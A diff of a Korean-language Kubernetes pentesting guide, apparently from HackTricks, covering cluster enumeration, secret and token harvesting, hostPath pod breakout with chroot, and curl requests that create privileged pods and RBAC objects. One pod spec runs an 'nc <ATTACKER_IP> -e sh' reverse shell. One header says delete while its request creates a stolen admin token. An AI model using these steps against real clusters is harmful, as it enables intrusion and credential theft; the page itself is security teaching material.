||||
|
||||
**`get`** 권한으로 특정 자산의 정보를 접근할 수 있습니다 (_`kubectl`의 `describe` 옵션_):
|
||||
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
**`list`** 권한이 있는 경우, 자산 유형을 나열하기 위해 API 요청을 실행할 수 있습니다 (_`kubectl`의 `get` 옵션_):
|
||||
**`list`** 권한이 있으면, 해당 유형의 asset을 나열하는 API 요청을 실행할 수 있습니다 (_`kubectl`의 `get` 옵션_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
**`watch`** 권한이 있는 경우, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:
|
||||
`watch` 권한이 있으면, 자산을 모니터링하기 위해 API 요청을 실행할 수 있습니다:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
그들은 변경될 때마다(또는 새로 생성될 때마다) 배포의 전체 매니페스트를 반환하는 스트리밍 연결을 엽니다.
|
||||
그들은 변경될 때마다(또는 새로 생성될 때마다) Deployment의 전체 manifest를 반환하는 streaming connection을 엽니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 다음 `kubectl` 명령은 객체를 나열하는 방법을 나타냅니다. 데이터를 액세스하려면 `get` 대신 `describe`를 사용해야 합니다.
|
||||
> 다음 `kubectl` commands는 objects를 나열하는 방법만 보여줍니다. data에 접근하려면 `get` 대신 `describe`를 사용해야 합니다.
|
||||
|
||||
### curl 사용하기
|
||||
### Using curl
|
||||
|
||||
포드 내부에서 여러 환경 변수를 사용할 수 있습니다:
|
||||
pod 내부에서는 여러 env variables를 사용할 수 있습니다:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -109,23 +109,23 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> 기본적으로 pod는 **kube-api 서버**에 **`kubernetes.default.svc`** 도메인 이름으로 **접근**할 수 있으며, **`/etc/resolv.config`**에서 kube 네트워크를 확인할 수 있습니다. 여기에서 kubernetes DNS 서버의 주소를 찾을 수 있습니다(같은 범위의 ".1"이 kube-api 엔드포인트입니다).
|
||||
> 기본적으로 pod는 도메인 이름 **`kubernetes.default.svc`**에서 **kube-api server**에 **접근**할 수 있으며, **`/etc/resolv.config`**에서 kube network를 볼 수 있습니다. 여기에서 kubernetes DNS server의 주소를 찾을 수 있습니다(같은 범위의 ".1"이 kube-api endpoint입니다).
|
||||
|
||||
### Using kubectl
|
||||
|
||||
토큰과 API 서버의 주소를 가지고 kubectl 또는 curl을 사용하여 여기에서 지시한 대로 접근합니다:
|
||||
token과 API server의 address를 가지고 있으면, 여기에서 설명된 것처럼 kubectl 또는 curl을 사용해 접근할 수 있습니다:
|
||||
|
||||
기본적으로, APISERVER는 `https://` 스키마로 통신하고 있습니다.
|
||||
기본적으로, APISERVER는 `https://` schema로 통신합니다
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> 만약 URL에 `https://`가 없다면, Bad Request와 같은 오류가 발생할 수 있습니다.
|
||||
> url에 `https://`가 없으면 Bad Request 같은 Error를 받을 수 있습니다.
|
||||
|
||||
[**공식 kubectl 치트시트는 여기에서 확인할 수 있습니다**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). 다음 섹션의 목표는 접근한 새로운 K8s를 열거하고 이해하기 위한 다양한 옵션을 정리된 방식으로 제시하는 것입니다.
|
||||
[**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)에서 확인할 수 있습니다. 다음 섹션들의 목표는 접근 권한을 얻은 새로운 K8s를 enumerate하고 이해하기 위한 다양한 options를 순서대로 제시하는 것입니다.
|
||||
|
||||
`kubectl`이 보내는 HTTP 요청을 찾으려면 `-v=8` 매개변수를 사용할 수 있습니다.
|
||||
`kubectl`이 보내는 HTTP request를 찾으려면 `-v=8` parameter를 사용할 수 있습니다.
|
||||
|
||||
#### MitM kubectl - kubectl 프록시화
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
```bash
|
||||
# Launch burp
|
||||
# Set proxy
|
||||
@@ -134,7 +134,7 @@ export HTTPS_PROXY=http://localhost:8080
|
||||
# Launch kubectl
|
||||
kubectl get namespace --insecure-skip-tls-verify=true
|
||||
```
|
||||
### 현재 구성
|
||||
### 현재 Configuration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Kubectl" }}
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
사용자 자격 증명을 훔쳤다면 **로컬에서 구성할 수** 있습니다. 다음과 같은 방법을 사용하세요:
|
||||
사용자 자격 증명을 훔치는 데 성공했다면 다음과 같은 방식으로 **로컬에서 구성**할 수 있습니다:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### 지원되는 리소스 가져오기
|
||||
|
||||
이 정보를 통해 나열할 수 있는 모든 서비스를 알 수 있습니다.
|
||||
이 정보를 사용하면 나열할 수 있는 모든 서비스를 알 수 있습니다
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 현재 권한 가져오기
|
||||
### 확인할 가치가 있는 Object metadata
|
||||
|
||||
Object를 읽을 수 있을 때는, table output이나 `describe`에만 의존하지 말고 전체 YAML 또는 JSON을 export하세요. 가장 유용한 security context는 종종 여러 resource type에 공통으로 존재하는 일반적인 object field에 들어 있습니다:
|
||||
```bash
|
||||
kubectl get pod <pod> -n <ns> -o yaml
|
||||
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
|
||||
```
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind`는 정확한 object를 식별하고, 다른 namespace나 API group에 있는 같은 이름의 object 간 혼동을 피하게 해준다.
|
||||
- `metadata.labels`와 selector는 Services, Deployments, ReplicaSets, Pods, NetworkPolicies와 automation을 연결한다. selector를 따라가는 것이 종종 Service의 실제 backend pods를 찾는 가장 빠른 방법이다.
|
||||
- `metadata.annotations`는 ingress behavior, cloud load balancer settings, GitOps 또는 Helm metadata, policy exemptions, service mesh configuration 같은 운영 컨텍스트를 leak할 수 있다. 여기에는 secret이 들어가면 안 되지만, 실제 cluster에서는 유용한 단서가 자주 노출된다.
|
||||
- `metadata.ownerReferences`는 controller lineage를 보여준다. Pod가 Deployment가 소유한 ReplicaSet에 의해 소유된다면, 보통 Pod만 변경하거나 삭제해서는 원인을 해결하지 못한다.
|
||||
- `metadata.finalizers`와 `metadata.deletionTimestamp`는 deletion에 멈춰 있는 resources를 설명하며, cleanup controllers나 persistence/disruption trick를 드러낼 수 있다.
|
||||
- `status`, Events, 그리고 conditions는 node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, controller progress를 드러낼 수 있다. 이들은 유용한 단서이지만, 누가 action을 수행했는지 증명하려면 여전히 audit logs가 필요하다.
|
||||
|
||||
### Get Current Privileges
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -197,7 +212,7 @@ kurl -i -s -k -X $'POST' \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
권한을 확인하는 또 다른 방법은 도구를 사용하는 것입니다: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
권한을 확인하는 또 다른 방법은 다음 도구를 사용하는 것입니다: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
**Kubernetes RBAC**에 대해 더 알아보려면:
|
||||
|
||||
@@ -205,13 +220,13 @@ kurl -i -s -k -X $'POST' \
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**어떤 권한이 있는지 알게 되면**, 다음 페이지를 확인하여 **이 권한을 남용하여 권한을 상승시킬 수 있는지** 알아보세요:
|
||||
**어떤 권한이 있는지** 알게 되면, 다음 페이지를 확인해 **이를 악용해서** 권한 상승을 할 수 있는지 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### 다른 역할 가져오기
|
||||
### Get Others roles
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -231,7 +246,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
|
||||
### 네임스페이스 가져오기
|
||||
|
||||
Kubernetes는 동일한 물리적 클러스터를 기반으로 하는 **다수의 가상 클러스터**를 지원합니다. 이러한 가상 클러스터를 **네임스페이스**라고 합니다.
|
||||
Kubernetes는 동일한 물리적 cluster를 기반으로 하는 **여러 virtual clusters**를 지원합니다. 이러한 virtual clusters를 **namespaces**라고 합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -244,9 +259,6 @@ k get namespaces
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 비밀 가져오기
|
||||
|
||||
{{#tabs }}
|
||||
@@ -266,13 +278,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
비밀을 읽을 수 있다면, 다음 줄을 사용하여 각 토큰과 관련된 권한을 얻을 수 있습니다:
|
||||
비밀을 읽을 수 있다면 다음 줄을 사용해 각 토큰에 관련된 권한을 얻을 수 있습니다:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### 서비스 계정 가져오기
|
||||
### Service Accounts 가져오기
|
||||
|
||||
이 페이지의 시작 부분에서 논의한 바와 같이 **포드가 실행될 때 일반적으로 서비스 계정이 할당됩니다**. 따라서 서비스 계정을 나열하고, 그 권한과 실행 위치를 확인하면 사용자가 권한을 상승시킬 수 있습니다.
|
||||
이 페이지의 시작 부분에서 설명했듯이 **pod가 실행될 때 일반적으로 service account가 할당됩니다**. 따라서 service account, 그 권한, 그리고 어디에서 실행 중인지 나열하면 사용자가 권한을 상승시킬 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -288,9 +300,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 배포 가져오기
|
||||
### Deployment 가져오기
|
||||
|
||||
배포는 **실행**해야 하는 **구성 요소**를 지정합니다.
|
||||
Deployment는 stateless application workload의 원하는 상태를 지정합니다. 이들은 ReplicaSet을 생성하고, 그 ReplicaSet은 Pod를 생성합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -302,14 +314,33 @@ k get deployments -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### StatefulSets 가져오기
|
||||
|
||||
StatefulSets는 안정적인 이름, 순차적인 rollout 동작, 그리고 종종 replica별 persistent volumes가 필요한 Pods를 관리합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get statefulsets
|
||||
k get statefulsets -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Pods
|
||||
|
||||
Pods는 실제로 **실행**될 **컨테이너**입니다.
|
||||
Pods는 실제 **containers**이며 **실행**된다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -328,7 +359,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### 서비스 가져오기
|
||||
|
||||
Kubernetes **서비스**는 **특정 포트와 IP에서 서비스를 노출하는 데 사용됩니다** (이는 실제로 서비스를 제공하는 포드에 대한 로드 밸런서 역할을 합니다). 이는 공격을 시도할 수 있는 다른 서비스를 찾을 수 있는 위치를 아는 데 흥미롭습니다.
|
||||
Kubernetes **services**는 **특정 port와 IP에서 service를 노출**하는 데 사용됩니다(실제로 service를 제공하는 pods에 대한 load balancer 역할을 합니다). 이는 공격해 볼 수 있는 다른 services를 어디서 찾을 수 있는지 알아내는 데 유용합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -340,14 +371,14 @@ k get services -n custnamespace
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 노드 가져오기
|
||||
|
||||
클러스터 내에 **구성된 모든 노드**를 가져옵니다.
|
||||
클러스터 내에 구성된 모든 **nodes**를 가져옵니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -365,7 +396,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### DaemonSets 가져오기
|
||||
|
||||
**DaemonSets**는 **특정 파드가 클러스터의 모든 노드**(또는 선택된 노드)에서 실행되도록 보장합니다. DaemonSet을 삭제하면 해당 DaemonSet이 관리하는 파드도 제거됩니다.
|
||||
**DaemonSets**는 클러스터의 **선택된 모든 노드에서 특정 Pod가 실행되도록** 보장합니다. DaemonSet을 삭제하면, 그것이 관리하던 Pods도 함께 제거됩니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -376,32 +407,52 @@ k get daemonsets
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 크론잡 가져오기
|
||||
### Job 가져오기
|
||||
|
||||
크론잡은 crontab과 유사한 구문을 사용하여 특정 작업을 수행할 포드를 실행하도록 예약할 수 있습니다.
|
||||
Job은 완료될 때까지 실행되는 Pod를 생성합니다. 이는 일반적으로 migration, backup, batch 작업, 그리고 일회성 관리 작업에 사용됩니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get jobs
|
||||
k get jobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### CronJobs 가져오기
|
||||
|
||||
CronJobs는 crontab과 유사한 스케줄을 사용해 task-style 실행을 위한 Pods를 시작하는 Jobs를 생성한다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
```bash
|
||||
k get cronjobs
|
||||
k get cronjobs -n custnamespace
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### configMap 가져오기
|
||||
|
||||
configMap은 항상 많은 정보와 kubernetes에서 실행되는 앱에 제공되는 configfile을 포함합니다. 일반적으로 다른 내부/외부 서비스에 연결하고 검증하는 데 사용되는 많은 비밀번호, 비밀, 토큰을 찾을 수 있습니다.
|
||||
configMap에는 항상 kubernetes에서 실행되는 앱에 제공되는 많은 정보와 configfile이 들어 있습니다. 보통 다른 내부/외부 service에 연결하고 인증하는 데 사용되는 password, secrets, token을 많이 찾을 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,19 +468,16 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 네트워크 정책 가져오기 / Cilium 네트워크 정책
|
||||
### 네트워크 정책 / Cilium Network Policies 가져오기
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="첫 번째 탭" }}
|
||||
{{#tab name="First Tab" }}
|
||||
```bash
|
||||
k get networkpolicies
|
||||
k get CiliumNetworkPolicies
|
||||
k get CiliumClusterwideNetworkPolicies
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 모든 것 가져오기 / 전체
|
||||
### 모든 것 / 전체
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -439,7 +487,7 @@ k get all
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **헬름에 의해 관리되는 모든 리소스 가져오기**
|
||||
### **helm가 관리하는 모든 리소스 가져오기**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -459,23 +507,23 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## kubectl을 사용하지 않고 클러스터와 상호작용하기
|
||||
## kubectl을 사용하지 않고 cluster와 상호작용하기
|
||||
|
||||
Kubernetes 제어 평면이 REST-ful API를 노출하므로, HTTP 요청을 수동으로 작성하고 **curl** 또는 **wget**과 같은 다른 도구를 사용하여 전송할 수 있습니다.
|
||||
Kubernetes control plane이 REST-ful API를 노출한다는 점을 보면, 직접 HTTP request를 만들어 **curl** 또는 **wget** 같은 다른 도구로 보낼 수 있습니다.
|
||||
|
||||
### 포드에서 탈출하기
|
||||
### pod에서 탈출하기
|
||||
|
||||
새 포드를 생성할 수 있다면, 이를 통해 노드로 탈출할 수 있습니다. 이를 위해서는 yaml 파일을 사용하여 새 포드를 생성하고, 생성된 포드로 전환한 다음 노드의 시스템으로 chroot해야 합니다. 이미 존재하는 포드를 yaml 파일의 참조로 사용할 수 있으며, 이들은 기존 이미지와 경로를 표시합니다.
|
||||
새로운 pod를 생성할 수 있다면 node로 탈출할 수 있을지도 모릅니다. 이를 위해 yaml file을 사용해 새 pod를 생성하고, 생성된 pod로 전환한 다음 node의 system으로 chroot해야 합니다. 기존 pod들은 이미 존재하는 images와 pathes를 보여주므로, yaml file의 reference로 사용할 수 있습니다.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
> 특정 노드에 포드를 생성해야 하는 경우, 다음 명령어를 사용하여 노드의 레이블을 가져올 수 있습니다.
|
||||
> 특정 node에 pod를 생성해야 한다면, 다음 command를 사용해 node의 labels를 확인할 수 있습니다
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> 일반적으로, kubernetes.io/hostname 및 node-role.kubernetes.io/master는 선택하기에 좋은 레이블입니다.
|
||||
> 보통 `kubernetes.io/hostname`과 `node-role.kubernetes.io/master`는 선택에 좋은 label입니다.
|
||||
|
||||
그런 다음 attack.yaml 파일을 생성합니다.
|
||||
그런 다음 attack.yaml file을 생성합니다
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -505,23 +553,25 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
그 후에 포드를 생성합니다.
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
그 다음 pod를 생성합니다
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
이제 다음과 같이 생성된 포드로 전환할 수 있습니다.
|
||||
이제 다음과 같이 생성된 pod로 전환할 수 있습니다
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
마지막으로 노드의 시스템에 chroot합니다.
|
||||
그리고 마지막으로 node의 system에 chroot합니다
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
정보 출처: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### 특권 포드 생성
|
||||
### privileged pod 생성
|
||||
|
||||
해당 yaml 파일은 다음과 같습니다:
|
||||
해당하는 yaml file은 다음과 같습니다:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -549,7 +599,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
curl을 사용하여 포드를 생성합니다:
|
||||
curl로 pod 생성하기:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -565,9 +615,9 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Delete a pod
|
||||
### pod 삭제
|
||||
|
||||
curl을 사용하여 pod 삭제:
|
||||
curl로 pod를 삭제:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -584,7 +634,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### 서비스 계정 생성
|
||||
### Service Account 생성
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -602,7 +652,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### 서비스 계정 삭제
|
||||
### Service Account 삭제
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -619,7 +669,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### 역할 생성
|
||||
### Role 생성
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -637,7 +687,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### 역할 삭제
|
||||
### Role 삭제
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -655,7 +705,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### 역할 바인딩 생성
|
||||
### Role Binding 생성
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -672,7 +722,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### 역할 바인딩 삭제
|
||||
### Role Binding 삭제
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -690,7 +740,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### 비밀 삭제
|
||||
### Secret 삭제
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -707,7 +757,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### 비밀 삭제
|
||||
### Secret 삭제
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
+52
-31
@@ -6,58 +6,79 @@
|
||||
|
||||
[**문서에서:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
|
||||
